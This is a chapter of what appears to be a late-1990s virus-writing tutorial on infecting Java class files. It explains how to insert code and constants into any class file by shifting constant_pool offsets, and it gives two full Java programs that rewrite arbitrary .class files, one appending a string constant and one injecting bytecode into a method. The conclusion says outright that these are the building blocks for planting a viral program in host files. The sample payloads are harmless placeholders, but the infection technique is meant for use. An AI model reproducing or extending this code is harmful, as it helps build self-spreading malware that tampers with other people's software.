[ chapter 3 ]
introduction 

Now that we have seen how to modify a java class file, it is time to delve into some java code. The class that will be used in the following examples is the java.io.RandomAccessFile class. The interface for this class is included with the jdk documentation.

If you have programmed in a higher level language before and are at least moderately proficient with assembly language, it will be obvious how we may go about infecting a java class file. Since this is not aimed at those who can already write viruses in java (hello? if you can then why am I writing this?) I will point out the most basic steps in infecting a class file.

Firstly it is important to realise that executable code in java is reliant upon two things, the code itself which lives in a code_attribute field and the constant_pool which starts ten bytes from the beginning of the file. It is apparent from the previous examples that if we want to insert viral code into a file we can do this relatively easily by just modifiying a few fields here and there. However, trouble occurs when we need our code to be inserted into any file with varying numbers of constants in their constant_pool. This can be easily overcome by allowing for changing offsets in our code.

For example, if we are inserting a PrintStream() method which calls a string constant at position constant_pool[y], we must modify the PrintStream() method to use the string at constant_pool[y+constant_pool_length]. We must also modify the calling code (since the method name resides in the constant_pool) such that instead of calling the PrintStream() method with invoke_virtual constant_pool[z] it calls constant_pool[z+constant_pool_length]. (Ed: later on you will see that we must decrement the constant_pool_length by one for it all to work this is because the constant_pool[0] is reserved for the virtual machine and does not appear in the class file)

For the following examples, the positions where these modifications are inserted have been calculated by hand. The greater problem of creating constant_pools and code_attributes which are self-modifying without going through by hand is tackled further on.

analysis 
 

  • example #1 
  • // =============================================
    // Title:  InsertConstant.java
    // Author: Landing Camel International
    // Date:   June 1998
    // Notes:
    // This example will write a new string constant 
    // to the end of the  constant_pool of any java 
    // class file. The new entry as a hexadecimal
    // number is:  
    // 0x01000D4C616E64696E672043616D656C 
    // CONST_String Landing Camel 
    // =============================================
    import java.io.*; 

    public class InsertConstant { 

    public static void main(String argv[]) 
           throws IOException { 

      //number of new constants in the class file 
      int const_count = 1; 

      //this is the constant to be inserted 
      int old_consts[] = {0x01, 
        0x00, 
        0x0D, 
        0x4C, 
        0x61, 
        0x6E, 
        0x64, 
        0x69, 
        0x6E, 
        0x67, 
        0x20, 
        0x43, 
        0x61, 
        0x6D, 
        0x65, 
        0x6C}; 

      //change the constant into an array of bytes 
      byte[] new_consts = new 
      byte[old_consts.length]; 
      for (int i=0; i < old_consts.length; i++) { 
         new_consts[i] = (byte)old_consts[i]; 
      } 

      //check that we have a file on the command line 
      if ((argv.length == 0) || 
          (!argv[0].endsWith(".class"))) { 
          System.out.println("Usage: java 
          InsertConstant file.class"); 
          System.exit(1); 
      } 

      //create an instance of the file 
      RandomAccessFile file = new 
        RandomAccessFile(argv[0],"rw"); 

      //read in the current constant_count 
      int fpointer = 8; 
      file.seek(fpointer); 
      int cp_entries = file.readUnsignedShort();  

      //write new constant_count 
      file.seek(fpointer);  
      file.writeShort(cp_entries+const_count); 

      //seek to the start of the const_pool 
      fpointer += 2; 
      file.seek(fpointer); 

      //iterate through const_pool 
      //remember that doubles and longs count as two
      for (int i = 1; i < cp_entries; i++) { 
         int tag = file.readUnsignedByte(); 
         fpointer++; 
         int skipper = 0; 
         switch (tag) { 
          case 7:  
          case 8: fpointer += 2; 
                  break; 
          case 3: 
          case 4: 
          case 9: 
          case 10: 
          case 11: 
          case 12: fpointer = fpointer + 4; 
                   break; 
          case 5: 
          case 6: fpointer = fpointer + 8; 
                  i++; 
                  break; 
          case 1: skipper = file.readUnsignedShort(); 
                  fpointer = fpointer + skipper + 2; 
                  break; 
         } 
         file.seek(fpointer);  
      } 

      //save the end of the file 
      int offset = (int)file.length() - fpointer; 
      byte[] end = new byte[offset]; 
      file.read(end, 0, offset); 

      //append our new constant 
      file.seek(fpointer); 
      file.write(new_consts); 

      //restore tail of file 
      file.write(end); 

      //close file 
      file.close(); 

     } 

    }
     

  • example #2 
  • // =============================================
    // Title:  InsertCode.java
    // Author: Landing Camel International
    // Date:   June 1998
    // Notes:
    // This example inserts new executable code into 
    // any java class file. It inserts ten NOP 
    // instructions which have the hex value 0x00,
    // into the first method attribute of the class 
    // file. 
    // =============================================

    import java.io.*; 

    public class InsertCode { 

     public static void main(String argv[]) 
            throws IOException { 

      //length of the new code to be inserted 
      int code_length = 10; 

      //this is the actual to be inserted 
      int old_code[] = {0x00, 
        0x00, 
        0x00, 
        0x00, 
        0x00, 
        0x00, 
        0x00, 
        0x00, 
        0x00, 
        0x00,}; 

      //change the constant into an array of bytes 
      byte[] new_code = new byte[old_code.length]; 
      for (int i=0; i < old_code.length; i++) { 
         new_code[i] = (byte)old_code[i]; 
      } 

      if ((argv.length == 0) || 
          (!argv[0].endsWith(".class"))) { 
         System.out.println("Usage: java InsertCode 
         file.class"); 
         System.exit(1); 
      } 

      RandomAccessFile file = new 
         RandomAccessFile(argv[0],"rw"); 

      //read in const_count 
      int fpointer = 8; 
      file.seek(fpointer); 
      int cp_entries = file.readUnsignedShort(); 

      //seek to the start of the const_pool 
      fpointer += 2; 
      file.seek(fpointer); 

      //iterate through const_pool 
      for (int i = 1; i < cp_entries; i++) { 
         int tag = file.readUnsignedByte(); 
         fpointer++; 
         int skipper = 0; 
         switch (tag) { 
          case 7:  
          case 8: fpointer += 2; 
                  break; 
          case 3: 
          case 4: 
          case 9: 
          case 10: 
          case 11: 
          case 12: fpointer = fpointer + 4; 
                   break; 
          case 5: 
          case 6: fpointer = fpointer + 8; 
                  i++; 
                  break; 
          case 1: skipper = file.readUnsignedShort(); 
                  fpointer = fpointer + skipper + 2; 
                  break; 
          } 
          file.seek(fpointer);  
      } 

      //read in the number of interfaces 
      fpointer += 6; 
      file.seek(fpointer); 
      int num_interfaces = file.readUnsignedShort(); 

      //iterate through the interface information  
      fpointer = fpointer + 2*(num_interfaces) + 2; 
      file.seek(fpointer); 

      //read in the number of fields 
      int num_fields = file.readUnsignedShort(); 
      fpointer += 2; 
      file.seek(fpointer); 

      //iterate through the fields 
      for (int j=0; j<num_fields; j++) { 

       //skip to the attribute_count 
       fpointer += 6; 
       file.seek(fpointer); 
       int num_f_attributes = 
          file.readUnsignedShort(); 

       //iterate through atribute_info 
       fpointer = fpointer+ 8*(num_f_attributes) + 2; 
       file.seek(fpointer); 
      } 

      //read the number of methods 
      int num_methods = file.readUnsignedShort(); 

      //read the number of method_attributes 
      fpointer += 8; 
      file.seek(fpointer); 
      int num_m_attributes = 
         file.readUnsignedShort(); 

      //read in current attribute_length 
      fpointer += 4; 
      file.seek(fpointer); 
      int attribute_length = file.readInt(); 

      //write new attribute_length 
      file.seek(fpointer); 
      file.writeInt(attribute_length + code_length); 

      //read in current code_length 
      fpointer += 8; 
      file.seek(fpointer); 
      int old_code_length = file.readInt(); 

      //write new code_length 
      file.seek(fpointer); 
      file.writeInt(old_code_length + code_length); 
      fpointer += 4; 
      file.seek(fpointer); 

      //save the end of the file 
      int offset = (int)file.length() - fpointer; 
      byte[] end = new byte[offset]; 
      file.read(end, 0, offset); 

      //append our new code to the end of the file 
      file.seek(fpointer); 
      file.write(new_code); 

      //restore tail of file 
      file.write(end); 

      //close file 
      file.close(); 

     } 

    }

    conclusion 

    The source code for the two above examples are included with this distribution as wells as a combination of these two examples. From these examples we can clearly see how we can infect a file. We just have to be able to extract the hexadecimal code for the constant_pool and the code_attribute from a viral program we have written and adjust them to account for changing offsets in the host class file.